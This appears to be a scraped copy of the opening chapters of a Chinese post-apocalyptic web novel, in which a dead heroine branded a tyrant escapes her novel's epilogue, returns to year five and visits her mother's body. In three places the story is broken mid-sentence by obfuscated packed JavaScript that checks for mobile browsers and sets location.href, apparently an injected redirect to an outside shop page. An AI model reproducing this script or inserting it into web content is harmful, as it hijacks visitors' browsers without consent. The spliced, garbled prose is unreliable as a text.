《她从番外归来[末世]》 1. 从番外杀回正文 “所以,现在,我在一本小说的番外里?” 烈士陵园前,江覆如同一缕怨灵般浮在空中,周身怨气如沸,长长的头发在空中飞舞,她眼珠猩红,死死盯着前方被人们簇拥着的“末世大功臣们”。 一只黑漆漆的恶灵漂浮在江覆身边,有些畏惧地看看她,小心翼翼地说:“是的,这里是最后一个番外,男女主认为你在烈士陵园前跪了半个世纪,足以赎清罪孽,所以,他们击碎了你的铜像,宽容地放你解脱,你这才能从铜像里出来。” “呵呵,呵呵呵,赎清罪孽?我到底是犯了什么罪孽!” 一缕头发猝然变长,如海藻一般缠住了这只恶灵:“说清楚,把你知道的都说出来!” 恶灵大惊失色,挣脱不得,惊恐道:“我帮助了你,你不能过河拆桥啊!” 裹住恶灵的头发继续变长变密,几乎把它绞碎:“说!” 恶灵哭了:“我说我说!这个世界就是一本末世小说,你是续集,也就是第二部里才出场的冷酷反派,你很强,你坐拥一个基地,但你独断专行,手段凌厉狠辣,铁血无情,于是你成了众所周知的‘暴君’。” 江覆面无表情:“说重点!” 恶灵连忙跳过大段剧情,来到故事结尾:“末世十三年,丧尸已经濒临灭绝,异兽也已不成气候,只有一个丧尸王,是人类的最大威胁,除了你,没人是它的对手。 “你与丧尸王几次大战,终于以巨大的代价将之灭杀,末世正式进入倒计时,接下来就是新纪元的建立,以你的功绩和实力,你绝对是第一任元首没跑,但以你过往的行事作风……没有人愿意你坐到那个位置上。 “所以,他们联手,趁你重伤,将你杀死,并给你冠上一个个罪名,让你成为罪人,把你的尸身铸成铜像,让你匍匐在陵园前赎罪。这就是小说的结局!” 江覆神色越发阴沉,恶灵喘了口气:“重点来了,你含恨而终,怨气滔天,所以,你没有彻底消亡,而是在铜像里死灰复燃。” 随着恶灵的讲述,江覆的记忆逐渐清晰起来,这浑浑噩噩的五十年如同一场醒不来的噩梦,她终于记起自己生前点点滴滴的记忆。 恶灵小心翼翼觑着她的脸色:“但以小说的设定来说,你是非死不可的,所以,你不可能从铜像里挣脱出来。 “直到最后一个番外,小说原男女主,就是于浩然和盛英华,击碎你的铜像,要让你‘入土为安’。我意识到这是你唯一一个获得自由的机会,这才叫你等待。” 江覆猩红的眼球转向它,冷冷盯着。 这只恶灵是十年前出现在她身边的。 它说它是恶灵,以人的恶念为食,它说这个世界大部分的恶念都涌向了江覆,又被江覆日夜咀嚼磨砺,已然生成恶骨。 它说它能帮助江覆复仇,条件是江覆死后,她体内那根恶骨归它。 当时江覆早已疯癫,也不懂什么恶骨不恶骨的,她只知道日日冲击铜像,想要从铜像里出去,杀尽世人。 但这个恶灵说,那么做即便她成功出去了,大部分力量也会在冲击铜像时损耗掉,而她的仇人们各个异能强大,她杀不了几个人,更不要说灭世。 但如果她愿意再等一等,十年后,自然会有人主动放她出来。 江覆等了。 这一等就是十年,果然等来了今日。 恶灵看了看她弥漫如蘑菇云一般的怨气:“但你存在的时间不会太长,你想报仇,也几乎只有一击的机会。” 江覆:“为什么?” “因为小说设定啊,我刚才说的剧情,是站在你的立场解读的,实际上,从男女主的角度来看,他们那帮人杀你确确实实就是铲除了一个未来的暴君、一个危害和平的隐患,他们是正义的,正当的,正确的。 “也就是说,你在番外里就是一个已经死去50年的大恶人,而你的仇人们,于盛两人就不说了,男女主,这个故事的支柱,其他人也都是成功者、胜利者、气运加身之人,全世界都站在他们那一边,你怎么和他们斗! “所以,趁其不备,不计代价地一击毙命,甚至同归于尽,是你唯一的机会! “如果连同归于尽都带不走他们,那你还有一个选择,那就是诅咒。怨气的最大作用就是诅咒,而你积累了50年的怨气,几乎能填满一个海洋,以魂飞魄散为代价诅咒这些人,应该是能起效的。” “正义的,正当的,正确的……”江覆喃喃念着这些字,呵呵冷笑起来,她怨毒地盯着前方那些衣着光鲜荣耀加身的人,“他们是正义之师,我是什么?彻头彻尾的丑角?” 前方,一众媒体围着这群大佬拍照。 “于大帅、盛大帅,当年江覆可把你们夫妻害得不轻!你们竟还能如此大度,这样的大恶人,就该再跪五十年一百年!” 于浩然和盛英华相视一笑,盛英华叹息道:“想当年,江覆也是一代强者,虽然她性子暴虐了些,做了许多错事……但也是做过贡献的,人死灯灭,还是给她几分体面吧。” 于浩然对着媒体道:“江覆跪在这里半个世纪,也够了,一切恩恩怨怨就到此为止吧。” 他们夫妻已经八十多岁了,看起来依然如二三十一般,岁月没有在他们身上留下丝毫痕迹,只增添了他们的雍容华贵。 不仅是他们,这些在末世中成名的人,如今都百岁上下了,但一个个依旧头发黑亮,身康体健,完全不像这个年纪的人。 因为他们都是异能者,强大的异能延长了他们的寿命,让他们以最佳状态,享受着这繁华盛世,并且还会继续享受许多年。 这些人都捧着于盛二人:“还是于哥盛姐你们大度,我就做不到原谅江覆。” “好了,张通,虽然她杀害了你的父亲,但你不也亲自报仇了吧?一切向前看吧。” “盛姐说得对,时代在向前发展,像江覆这种历史的尘埃,确实应该被彻底扫进故纸堆里了。” 一群人说说笑笑,在媒体的镜头前留下了意气风发的大合照,这创世纪的大和解,让旧时代的英雄,在新时代,又刷了一波好名声。 周围的民众嗷嗷欢呼着,叫喊着这些人的名字,脸上满是狂热崇拜。 江覆看着这一幕,目光一寸一寸扫过在场每个人。 他们都过得很好呢。 在她被困在铜像里,日夜煎熬挣扎的时候,这些人欢声笑语,幸福美满。 在她独自腐烂扭曲,求生不得求死不能的时候,这些人沐浴在灿烂明媚的阳光下,充满希望地向前走着。 在她被仇恨啃噬,痛苦咆哮的时候,这些人品尝着胜利的甜果,喝着名利双收的美酒。 好啊,真好啊! 她呵呵地笑了起来,笑得癫狂,身上怨气越发翻涌,朝四面八方飞射出去,如最黏腻的毒蛇一般,缠住了这一个个“老朋友”的脖颈。 恶灵激动地看着这一幕,紧张地等待着最终的结果。 然而,江覆却没有动手,她突然安静下来,喃喃道:“这不公平。” 恶灵:“什么?” “这些人在此时死去,也无法改变他们已经快活了五十年的事实,无法动摇他们名利双收、享誉天下的地位。他们什么都有了,什么都得到了,什么都享受过了,以最佳状态活到近百岁,然后猝然死去,完全就是喜丧。甚至他们死后,他们的后代还能继续享受。 “而我,受了五十年折磨,挨了五十年的折辱作践,失去了一切,隐忍等待至今,就为了片刻的爆发,最好的结果,也不过是同归于尽,这些垃圾死在同一天同一刻。” 她恨声重复道:“这不公平!” 随着这如同惊雷般的一声,她身上的气势暴涨,满头长发朝天空飘起。 天地似乎也意识到了危机的到来,天空开始变色,乌云聚集起来,在场的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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恶灵只觉得有什么东西从身边唰地闪过,它还没来得及做出反应,一缕头发缠住它,将它带上了天。 恶灵:“啊啊啊啊啊!!!” 这火箭一般的速度! 下一刻,江覆就整个撞破了天上的团团乌云。 怨气如有实质一般,一层层覆在她身周,是她护身的盔甲,是她进攻的长枪。 怎么做?当然是与天争命!将这方困住了她的天捅破! 她带着这五十年积累下的无尽的痛、恨、怨,带着对这个世界的愤怒与质问,势如破竹,一路昂扬。 她的速度越来越快,周围的一切变成了幻影,又变成了一张张纸页,上面写满了字。 这就是那本小说! 她正在【番外】里穿行着! 番外七、番外六、番外五…… 纸页一张张向前翻过去,每一个番外就像一个独立的小房间,里面出现一个个身影,大多是盛英华和于浩然的…… 江覆撞碎这一个个小房间的墙壁,不断往前,终于,她越过了番外一的标题,一头冲进了【正文】里。 她看到了自己被杀,自己的头颅被砍下来,悬挂在基地大门口,看到基地里的人因为她的死亡而欢呼,因为她的“罪行”而咒骂她。 江覆一扫而过,用尽力量继续往前冲。 剧情一点点往前倒退,时间也随之倒退。 末世第十三年,末世第十二年,第十一年…… 江覆的眼睛突然亮了起来,如果能回到那个时候,如果能回到那个节点之前! 母亲!她或许还能再见母亲一面! 末世第九年、第八年、第七年…… 她身上的怨气如同燃料一般燃烧着、蒸腾着、消耗着,恶灵紧紧抓着江覆的脚踝,被可怕的速度撸成一条瘦长的黑耗子。 它尖叫道:“够了!快停下!再这么下去,你会耗尽,你会死的!” 江覆充耳不闻,她一心想着再快点,再往前点! 第六年、第五年…… 终于,她看到了母亲去世后的剧情,惊喜又激动地继续往前冲,却狠狠撞上了一个看不见的屏障。 她几乎撞得整个散架,浑身力量被卸去,往剧情的漩涡坠去。 失去意识前,只听到恶灵叫道:“我们到第二部的开头了!前面过不去了!” 2. 正文·末世第五年 末世第五年。 联邦特云自治州。 一支车队行驶在黄沙漫天的废旧公路上。 “这路况怎么这么差啊,特云不是挺富有的吗?这唯一一条进特云的主干线都不好好修一下!” 小巴车里,众人被颠簸得连声抱怨。 司机一边开车,一边安慰道:“好了好了,你们又不是不知道,现在异兽横行,修好的路没几个月就能被霍霍得不成样,哪里的路况都这样。况且,特云州长上个月去世了,州里一时顾及不到这里也是正常的。” 一位乘客震惊发问:“特云州长江珺荣吗?她去世了?” “对啊,联邦高层,还有各个州、各个基地都派人来祭奠了,你们这都不知道吗?” 另一个乘客道:“我的乖乖,这还真不知道,我们来特云,就是听说这位州长特别强大,特别厉害,还非常爱护民众,就是冲着她来的,竟然……” “那这特云州以后不得乱起来?” “那倒不必太担心,江州长的女儿,也就是刚上任的江覆,听说肖似其母,也是个强大能干的。” 车内众人顿时议论起这个新州长来。 小巴车的最后一排,靠窗的位置,一个戴着帽子口罩,一身灰色防风外套的女子,正倚靠在窗边,看着外面的风沙,不时轻微地咳嗽两声,帽檐下的双眼平静如两潭枯水,只有在听到江珺荣的名字时,才有轻微波动。 只差一个月,就差一个月,她就能见到母亲,甚至救回母亲…… 江覆的双手掐紧,指尖死死扣进掌心。 当她在这个时代醒过来,弄明白当下的时间,她懊恼得几乎要原地再死一遍。 就差一个月而已! 她宽大的衣服口袋里动了动,一只瘦小的黑色小奶猫探出一个脑袋。 似乎知道江覆在想什么,奶猫版恶灵叹了口气,发出只有江覆才能听到的声音:“你别恼了,事实上,你根本不可能回到你母亲还在的时候。第二部一开头,你母亲就已经死了,而这个时候你这个角色才第一次亮相。 “同一个时期,同时存在两个你,就已经是极限了,你还想去到没有你戏份的第一部,和你母亲出现在同一片天空下?这个世界会爆炸的!” 江覆抿唇不语,她只要出现片刻就行,只要能救下母亲,让她放弃复仇,即刻自裁,她都愿意。 黑猫:“而且你母亲若是不死,这个时候的你就不会接班,年轻一代强者们就不会登上历史舞台,小说第二部的剧情就无法展开,这是第二部的基础!” 江覆:“放屁!我妈威力这么大,我怎么不知道?” 连母亲都不叫了,直接喊妈,这是江覆少年时候的叫法。 黑猫在口袋里踢腾两下,把爪子也伸了出来:“你妈妈可是联邦时代留下的最后一颗明珠,她的死亡,意味着上一代强者的落幕,标志着后联邦时代、自治州的政治格局进入瓦解期,象征着基地自治时代的正式到来,更代表着末世进入了白热化阶段——书里就是这么写的,咱妈就是这么一个里程碑式的牛叉人物!” 江覆深吸一口气,闭上眼,不想和这只恶灵继续说话。 小黑猫见她不搭理自己,从口袋里爬出来,顺着她的手臂爬到肩膀上,然后趴在江覆耳朵边喵喵叫:“你真的要去见这里的你吗?你们相遇,必有一伤,你刚穿越回来,虚弱得一批,到时候别一碰面你就被你自己反伤反死了。” “……”江覆沉默片刻,说:“我要去祭拜母亲。” 这个时候,因为“自己”的惊天异想,母亲的遗体还没有火化。 之后母亲的遗体险些被盗,虽然最终有惊无险,但江覆怕因为自己的回来,导致出现偏差,她不允许母亲出一点事。 而且,她接下来要做的事情,与母亲的遗志完全相悖,她要去向母亲报备。 她看着车外倒在野地里的动物和丧尸残骸,又嗤笑一声:“这个时候的我,在继任之后,做了一件大蠢事,暴君之名由此而始,既然我正好赶上这个点,自然要去阻止。” 她不在乎背负暴君之名,但苦心孤诣为民除害,造福大众,结果反而引来抱怨……这种吃力不讨好的蠢事,她是一点都不想再干了。 看另一个自己这么干也不行,显得她江覆多犯贱似的! 她闭上眼睛休息,不再说话。 穿越回来后,不知道为什么,她突然又拥有了身体,真实的血肉之躯,她自己的身体。 就是这身体有点僵硬,有点不灵便,好像死了一段时间的样子,脖子一圈还要断不断的,不知道和她死后被砍下脑袋有没有关系。 反正,她现在不算完全的活人,也不算是完全的死人,半死不活的,加上她穿越消耗太大,以及,这个世界在排斥她这个未来者……她是哪哪都不舒服,哪哪都累。 唯一的好消息是,随着时间推移,她体内的怨气在迅速恢复,就如同正常人休息时能恢复体力一样,只是速度要快上许多。 她隐隐能感受到那根所谓【恶骨】的存在,它就在自己的胸膛里,仿佛她的本命支柱,怨气就是以此为基石,不断恢复着。 那五十年承受的来自全世界的恶意,反倒成了她如今存活的依仗,简直是地狱笑话。 …… 经过三个多小时的车程,以及路上几次修车加油,车队终于停了下来。 江覆和众人一起下来,抬头看去,前方是一座基地的宏伟城楼,城楼之下,基地大门洞开,车辆人员进进出出。 而那大门上,是四个金光闪闪的醒目大字:覆安基地。 江覆看着那四个字,目光怀念,久久不动。 特云自治州很大,经历了十年大灾、五年末世,如今的特云人口只余和平时期的二十分之一不到,无数城市随着人口迁移而死寂下去,幸存者主要集中在十几座城市里,其中一部分城市设立了基地。 母亲江珺荣执掌特云十五年,是特云州的实际掌权人、执政官,但因为城市之间相隔颇远,交通不便,有时候通讯又因为各种原因中断。所以,末世后,她将各城市、基地的自主权一定程度下放。 唯一完全由母亲控制的基地,就是这覆安基地,这也是特云州最大的基地及核心区域所在,陆域面积近两千平方公里,常驻人口在五百万以上。 这个基地的前身是金安市,按理,之后也应该叫金安基地,但母亲却起名叫覆安基地。 这个名字,包含了一个母亲对女儿的祝愿,也是她为女儿铺的一条康庄大道——那个时候,母亲就已经在筹谋着以后让江覆接班了。 用母亲的话来说,世人骂她任人唯亲也好,公私不分也罢,最好的当然要留给女儿,不然托举着别人上位,让对方拿着她给的东西,来对付她的女儿吗? 这不纯纯有病吗? 乱世之中,没有比权力更好的遗产。 好在江覆也很争气,一直做得很好。 只是,谁也没想到,母亲会走得这么早,这么突然。 二十四岁的江覆仓促继任,那些在母亲面前要多恭顺有多恭顺的人,很多都跳出来反对,或是暗中给她使绊子,她只能用铁血手段捍卫自己的权威。 江覆收回目光,跟着队伍排队进基地。 进基地手续卡得很严,好在江覆在路上就给自己弄到了身份证件,拍照登记的时候,她摘下口罩,用怨气在脸上做了修饰,让自己和证件上的女子长相一致。 “好了,拿好你的暂住证明,下一个。” 江覆收好证件,背着自己的小背包穿过长长的门洞,一进去,就见满城缟素,气氛顿时沉重肃穆起来。 而江覆的心脏猛地一揪,她抓住胸口衣服,一手撑住边上墙壁,微微弯腰,有些艰难地喘息着,本来就白的脸色,变得更惨淡了。 小黑猫从她帽子里爬出来:“……也不用这么悲痛吧?” 江覆皱起眉:“不是,是真的……不对劲。” 小黑猫:“哦,我懂了,因为你踏入了另一个你的地盘,遭到了排斥,可你刚进来啊,这么灵敏的吗……不是,你还是站起来点吧,你这个姿势,我总担心你脑袋要掉了。” 江覆:“……” 她白了这只猫一眼,手却很诚实地摸了摸脖子上的丝巾,抚了抚脑袋,没有要掉,还牢固着呢。 她直起身,走入基地。 …… 同一时刻,覆安基地中心城区,明亮气派的办公楼里,一间会议室中,一个年轻女子正在主持会议。 突然,她心脏没来由地抽了一下,她话语一顿,左手悄然扶住桌子,支撑身体。 “州长?”密切关注她的秘书悄声询问,下面的人也都纷纷看来,眼神打量。 「江覆」站直身体,平静稳定地继续说:“各地祭拜代表都妥善送出去了吧?” “是,已经全部送走。” “通知各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581676|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城各基地代表明日开会,商议接下来州里的事务。 “还有,别的城市基地我不知道,覆安基地本月治安之差,都被人告状到我这里了,但我听说各治安所的出警率不升反降啊,牢房关的人也没有增多,法院审理的案件也足足少了两成,我去巡视的时候,各单位都有怠职者。怎么,你们都不想干了吗? “是对我不满呢,还是对你们手里捧的饭碗不满?” 她一拍桌子,微俯上身,高阶异能者的威压释放出去:“我只给你们一天时间,各个部门,各级单位,都给我把典型送上来!要是让我查出来知情不报、与事实不符的,我就从最高的那个位置上撸起!” 会议结束后,与会人员噤若寒蝉地出去,互相看看,虎母无犬女啊,这位继任还不到一个月,手段之凌厉已经可见一斑。 「江覆」回到自己的休息室,坐下来,掌根轻压心口,刚才那抽痛是怎么回事?最近太累了吗? 一双修长白皙的手从身后伸过来,轻轻地按捏起她的肩膀,温柔磁性的声音传来:“阿覆,你已经连着工作了十几个小时了,休息一会儿吧。” 「江覆」收起了所有表情,拨开身后人的手,转头看去:“你怎么进来了?我不是说过,这里不允许闲杂人等进来。” 看来她确实太累了,警觉心下降到休息室里还有一个人都没发现。 身后的俊美男人露出一个委屈的表情:“我也算闲杂人等吗?小覆……” “出去!” 男人一噎,还是想再争取一把:“我是想帮你,这么多事务,你一个人怎么忙得过来?你只要坐镇指挥就行了,要是什么事都亲力亲为,要下面的人干什么?” 「江覆」抬头仔细地看了看这个男人,身材修长,肤白貌美,眼睛很亮很漂亮,带着一股干净的懵懂感,是她喜欢的类型,可惜太蠢了。 她不喜欢太聪明的男人,聪明的男人都自以为是,总有太多不安分的心思,没想到蠢人也动起这些小九九来了。 她忽然轻笑一声:“去找管家领补偿金吧,以后你不用来了。” 男人脸色一白:“我是州长给您安排的人……” 「江覆」音色冷下来:“我身边的人,哪一个不是母亲安排的?你的前辈们就做得很好,我说断,他们就会乖乖地离开我的视线,所以他们拿到的补偿金都很可观。周嘉,你明白我的意思吗?” 周嘉还想说什么,但在「江覆」的逼视下,脸渐渐变得惨白,冷汗涌出,一个字都不敢再说,垂下头乖顺道:“是,我明白了。” 看着人出去,「江覆」舒出一口气,母亲对她处处满意处处自豪,觉得天底下就没有比她女儿更优秀的人了,唯独一点,她总担心女儿将来会中了哪个臭男人的迷魂计。 所以,母亲自她成年起就给她身边安排人了,因为母亲觉得,对一样事物最好的祛魅方式是拥有,见多了男人,自然就不稀罕了。 事实证明,母亲总是对的,她现在看到男人就觉得厌烦,尤其是想往她身边凑的男人,一个个不是自视甚高,就是蠢得挂相,她都快生理性厌恶了。 母亲…… 想到母亲还孤零零地躺在冰棺里,她的眉眼又垂下来。 她抬起手,手里出现一支蓝紫色的药剂,散发着有些诡异的光泽,她眼中犹豫不决。 …… 另一边,周嘉灰溜溜地出去,被人拦下:“怎么样?” 周嘉面露怒色:“她把我赶走,要和我彻底断了。” “你怎么这么没用,她刚失去了至亲,是最脆弱的时候,这时候谁陪在她的身边,谁就能走进她的心里。” 周嘉无语,那个女人有脆弱的时候吗?就算有,也轮不到自己走进她的内心吧,在对方眼里,自己和一条随意逗趣的狗有什么区别? “反正我听了你的,现在要卷铺盖走人了,你得补偿我。” 来人拧着眉想了一会儿,一咬牙,谨慎地左右看看,压低声音问:“你知道,江覆把前州长的遗体放哪里吗?” 周嘉大吃一惊:“不是已经在丧礼上火化了吗?” “火化的是假的!不这么来一遭,怎么打消世人的觊觎?你知道当世唯一一个九阶异能者的遗体有多大价值吗?只要能弄到手,我们下半辈子就不愁了!” 周嘉缩缩脖子:“不行不行,江覆会杀了我的!” “不用你动手,你就告诉我,江覆最近常去什么地方。” 3. 再见母亲遗体 覆安基地中心研究院。 江覆伪装成研究人员,借由记忆中的各道门禁密码,悄然通过道道关卡,一路避开各处监控,进到中心区域。 又在这里,打开了一道通向地下的门,慢慢走了进去。 这所研究院是母亲一手打造起来的,起先是为了研究大灾,末世后开始研究异能、丧尸和各种异兽。 整个研究所规模十分庞大,区域划分也比较复杂,所里的核心研究员全都是最忠诚的人,当然,其家人软肋都被母亲掌握在手中。 母亲一向看重人心,也会收买人心,却不会仅仅依靠人心去信任一个人。 江覆接班后,也是这么做的,她认为研究所不会出问题,所以,将自己最重要的东西存放在这里。 但她没有想到,权力交接,人心浮动,已经影响到研究所,这里有人叛变,以至于差点让母亲的遗体出事。 下到地下五十多米处,她打开最后一道电子门,一个仅有三十多平的空间出现在面前,里面的电子感应灯自动亮起,发出淡淡的柔橙色光芒,仿佛灵堂上的烛火,传递着忧伤凄迷的气压。 一口冰棺静静躺在房间中央。 江覆站在那里,突然有点近乡情怯,不敢上前。 片刻之后,她才抬手按下墙上开关,沉重的电子门在身后闭合,而她一步步朝冰棺走过去。 棺内柔和的灯光照亮里面人沉静的容颜,江覆的眼眶一下子酸涩了,泪水不受控制地涌出,滴在透明的棺盖上:“母亲……” 她半跪下去,贴近冰棺,贪婪地注视着母亲了无生机,却依然难掩威严的脸,轻轻地用脸蹭了下棺盖,仿佛儿时依偎在母亲充满安全感的怀抱里:“母亲,妈妈,我回来了,我好想你啊。” 静谧的地下空间里,跨了半个世纪归来的非生非死的女儿,跪在已然死去多时的母亲身边,低低地诉说着自己日后的遭遇。 重伤力竭被伏击。 头颅被砍下曝晒。 身躯被剁碎融入铜水,铸成铜像,跪了足足半个世纪。 所有人排着队来唾骂她,给她泼各种污浊之物,无数人把她写入小说、演成剧作,恶人、变态、魔头、d妇、奸细、卖国贼……种种丑角“她”变着花样地演绎。 那半个世纪里,【江覆】这两个字简直是丑恶的代名词,完全是遗臭万年反复鞭尸的待遇。 不过,怕母亲不安,江覆没有说得太细,只压着情绪,捡要点大致说了一番。 最后她哽咽道:“妈,他们都欺负我。” 她趴在冰棺上,委委屈屈地落泪:“他们怎么能这么对我?世人怎么能这么对我?成王败寇,我认了,可是他们太过分了,真的太过分了……甚至为了否定我,他们连您也一并否定了,他们编纂的史书上,根本都没有您的名字……” “所以,我忍不了了。您知道的,我从来也不是个忍让的性子,您也没教过我忍气吞声,谁让我不痛快,我必要百倍奉还的。” 她抬起头,注视着母亲:“您曾教导我,要好好守护基地,守护特云。我也曾在你的灵堂前起誓,要继承您的遗志,带领大家渡过难关,走出末世,创造新世界。 “可是现在,我不想那么做了,我不要再保护任何人,我不要再为任何人付出,他们不配!甚至,我要反过来,与这个世界为敌!” 她稳了稳气息,轻声但坚定地,一个字一个字地说:“和平美好的新纪元里,没有我的位置,那就让新纪元,永远都不要到来。” “母亲,您会原谅我的,对吗?” “毕竟,您最爱的是我,其次才是其他。” 母亲没有回答,她起身后退,对着冰棺再度跪下,郑重地三叩首,最后一拜下去,她忽然就有点控制不住情绪,无尽的悲伤将她淹没。 “妈,你怎么不活得久一点!那些人,那些坏人七老八十了还那么年轻,那么能蹦跶,还日日过着好日子。你也该活那么久的,你怎么舍得抛下我,让我独自在这世上受苦!” 泪眼朦胧中,她看着母亲的遗体,感受到遗体内流转着的异能能量,当初那个疯狂的念头再次涌现出来。 她抓出口袋里的黑色奶猫:“我能死后复生,能以这半死不活的状态活着,是不是母亲也可以……” 小黑猫大惊失色:“收起你危险的想法,你母亲几乎等于是死于剧情杀,她死在第二部开端,本身就是一个背景板式的人物,这个世界没有她存活的土壤!” 江覆暴躁道:“那我不是也该死了吗?可我还活着!这个该死的末世里,丧尸都能重新生出理智,高智商的丧尸王都能诞生,它们难道不是行尸走肉,凭什么母亲不可以!” 是的,她迟迟不愿将母亲火化,还日日用自己的异能维持着母亲的身体器官不衰竭,就是打着将母亲转化为丧尸的想法。 这想法是如此惊世骇俗,她不知道能不能成功,也不知道后果会怎么样,所以她迟迟不敢动手。 她怕失败,怕成功了母亲的理智也不会回来,更怕竹篮打水一场空后,还要连累母亲的身后名。 江覆站起来,在冰棺边急切地走来走去:“母亲是九阶异能者!你知道九阶是什么概念吗?寿命上限至少一百五十岁,刀枪不入水火不侵,当世只母亲一人! “高阶异能者晋升无比困难,直到末世第七年,我才升到八阶,之后又三年,我才到九阶!而那时,九阶上也不过才我一人而已!” “所以她才必死!”小黑猫站在冰棺上,一脸严肃地说,“她的实力已经高得不正常了,她继续活着,会严重威胁整个世界的平衡! “准确地说,这只是作者的一个设定,且还是一个不合理的设定,这都是为了给你这个大反派铺垫人生背景,表明你其实就是一个天龙人,以彰显男女主草根出身的正义性!” “作者这么设定,所以母亲就只能做一个一出场就死亡的背景板?!可是在我的记忆里,在我的生命里,她是活生生存在的啊!” 江覆一把撑在冰棺上,激动地怒声道,情绪几近失控,手下的棺盖咔嚓咔嚓地裂开。 她慌忙收手后退,站在原地怔愣了片刻,终于慢慢冷静下来。 她闭了闭眼,冷笑道:“作者设定是吧?那个作者是什么狗东西,也配操控我和母亲的人生?” 既然这只是一个小说世界,既然这只是一场游戏,那凭什么制定规则的人不能是她? 她看着自己手上蒸腾的怨气,因为刚才的激荡,恶念汹涌,她的怨气恢复速度大大加快了。 她看着冰棺中的母亲,坚定说:“母亲,你等我。” 当初,在母亲遗体差点被盗后,她枯坐了一个晚上,挣扎了一个晚上,最终还是决定,放下妄想,将母亲火化,还母亲一个安宁。 但这一次,不会了。 她偏要试试,她这个跳出命运轨道的变数,能不能把母亲变成第二个变数。 不过,还要说服这里的自己。 她揉了揉额头,又看了冰棺一眼。 冰棺遭到攻击,这里的自己肯定收到了警报,正在赶来,但这会儿还不是见面的时候,相认的后果是什么,她也不敢赌。 她走到墙边,写下了两行字,然后打开电子门闪了出去。 …… 中心研究所全面警戒了! 基地军将整个研究所围了起来,空中部队将整个空域封锁。 异能者队伍守住了所有出入口,尤其是精神力异能者将精神力释放出来,形成了一层层密不透风的大网,一只蚊子都别想从研究所飞出去。 这一切的发生,不过短短几分钟。 而「江覆」比这些布置来得更快,一收到警报,她就拿出了生平最快的速度,几乎如同瞬移一般,从办公楼到研究所,短短一分钟时间内赶到。 一抵达,精神力就铺开去,然后从只有她能进的秘密通道,直达地下。 中途,她经过某处时,心脏又抽了一下,那种奇异的感觉又来了,但她忧心母亲,没有多想,脚步停也未停。 在她离去后,角落里,江覆走出来,脸色奇差,摇摇欲坠,看着那个自己离去的背影,眼里是深深的忌惮。 不是忌惮这个自己,而是忌惮于,相遇的反应居然这么大。 那一刻,如果真的面对面撞上,她几乎怀疑自己会原地消亡。 看来,真的要保持距离了。 她转身快步离开。 在外界的包围圈形成前,离开了研究所。 而这边,「江覆」冲进了那个房间,看到冰棺里的母亲还好好地躺着,她大大松了一口气。 “母亲……没事……就好……” 她吓得心脏都快不跳了,剧烈地喘息着,感觉自己死过了一回。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581677|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然后,她的目光凝结在冰棺上的两个手印上。 警报没有出错,确实有人进入了这里,还试图破开冰棺。 不对,这个位置,这个方向,好像并不是要推开棺盖。而且,棺盖明显不堪重负了,再加大点力道就能毁去,可那个人没有这么做。 她看着那双手印,越看越眼熟,越看越怪异,鬼使神差地把自己的双手印上去。 严丝合缝…… 「江覆」:! 她触电一般收回手,眼中尽是不可思议,忍不住问:“母亲,这里发生了什么?” 冰棺里的母亲自然不会给她答案,她扭头,又看到了墙壁上的字。 她快步走过去。 第一行:周嘉、王勉志等谋划偷盗遗体,研究所多人被策反。 「江覆」的手一下子握紧了,周嘉那个废物竟敢! 王勉志是母亲留给她的人中颇为得力的,居然也……如果王勉志也靠不住,那她身边有异心的人恐怕比她想象的还多。 她看到第二行字时,瞳孔骤然紧缩:我或可令江州长复生,暂停你的以杀证道计划,听我安排。 「江覆」,死死盯着复生那两个字,浑身僵直,好一会儿才目光往后挪。 以杀证道计划…… 这个计划其实就是杀一批贪污违法的、该死的官员和死刑犯,用他们的血狠狠震慑一番,既树立自己的威信,也顺便清一清基地的渣滓,正正风气。 什么“以杀证道”,只是她内心给这件事的总结,因为过于中二,没有对任何人说过,也没有落于纸上,理论上不该有第二个人知道。 难道有什么异能,是能读人心声的? 一个知道她藏起了母亲遗体,且能自由来去此地,还洞悉她内心隐秘想法,甚至想控制她的人…… 「江覆」眯了眯眼,右手摩挲着左手腕上的一只镯子,心中杀意翻涌,然而,那句“复生”到底让她按捺了下去。 哪怕只有亿万分之一的希望,她也不愿放弃。 忽然,她发现了什么,往后退了几步,仔细看着墙上的字,怎么这字迹也莫名眼熟? …… 片刻后,「江覆」回到地面,基地军军团长沈沐云亲自带队布防,她前来汇报:“基地长,研究所及周围街道已经全面封锁布控,暂未发现可疑人物,是否要进行地毯式搜索?” 「江覆」没有立刻说话,她看着军团长,目光微缓,对方是母亲的左右手,最忠诚的拥护者。 母亲的部下,男女比例其实是差不多的,但亲信中女性的比例要大大超过男性。 母亲说过,男人大多不服气被女性统治,但女性却会自发维护同性的权益。因为只要脑子不蠢的,都知道,上位者是同性,对自己只有好处。 脑子蠢的,看看其他男性掌权的基地里,女性是什么处境,也该懂了。 事实证明,最近跳出来唱反调的人,确实是男的占绝大多数,包括周嘉、王勉志那些胆大包天的,也都是男的。 该死的男人! 她很想一口气把那些男人全部罢免了,那样应该会清净许多。 但母亲还说过,要是不给男人留条上进的路,他们会宛如活不到明天一般发疯,会联合更多人,会更无所顾忌,到时候局势会更不可控。 